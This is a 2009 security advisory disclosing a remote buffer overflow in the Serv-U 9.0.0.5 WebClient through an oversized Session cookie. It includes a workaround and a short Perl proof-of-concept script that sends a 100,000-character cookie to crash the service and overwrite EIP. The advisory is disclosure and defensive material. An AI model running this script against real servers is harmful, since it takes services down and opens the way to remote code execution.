Serv-U 9.0.0.5 WebClient Buffer Overflow

`-- KC Security PUBLIC ADVISORY -- http://www.rangos.de --   
11-01-2009  
  
  
RhinoSoft.com Serv-U 9.0.0.5 WebClient Remote Buffer Overflow  
  
  
Background  
------------  
  
Serv-U includes a simple, browser-based transfer client perfect  
for every business environment. The Web Client is accessed through  
a standard web browser and features an unintimidating, familiar interface.  
It is a great way for sharing photos and image files with clients and  
co-workers due to its configurable thumbnail view that allows remote  
images to be quickly viewed without downloading the entire file.  
An additional slideshow view offers a fast way to share a collection   
of photos from your latest projects. When using Serv-U, photo sharing   
sites and large email attachments are a thing of the past!  
  
  
Description  
------------  
  
Remote exploitation of a buffer overflow in the Serv-U WebClient  
may allow attackers to execute arbitrary code.  
  
The problem lies in the handling of overly long Session Cookies.  
When a very long session cookie is sent to the Serv-U WebClient  
HTTP Service an overrun occurs and EIP becomes "overwritten".  
  
  
Detection  
------------  
KC Security confirmed the vulnerability in the latest version of Serv-U  
WebClient which is 9.0.0.5.  
  
  
Workaround  
------------  
Disable the WebClient Service and use the Serv-U FTP/SFTP components only.  
  
  
Proof of concept  
------------  
The following PERL script will crash the Serv-U.exe service and overwrite  
EIP with 0xAAAAAAAA.  
  
---snip---  
use IO::Socket;  
  
$|=1;  
$a = "A" x 100000;  
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],  
PeerPort => '80',  
Proto => 'tcp');   
  
print $sock "POST / HTTP/1.1\r\n"  
."Host: $ARGV[0]\r\n"  
."Cookie: killmenothing; SULang=de%2CDE; themename=vista; Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb950754581406246bf8$a\r\n"  
."Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\n"  
."Content-Length: 0\r\n\r\n";  
  
while (<$sock>) {  
print;  
}  
---snip---  
  
  
Credit  
------------  
This vulnerability was discovered by Nikolaos Rangos of KC Security.  
Visit us at http://www.rangos.de  
  
`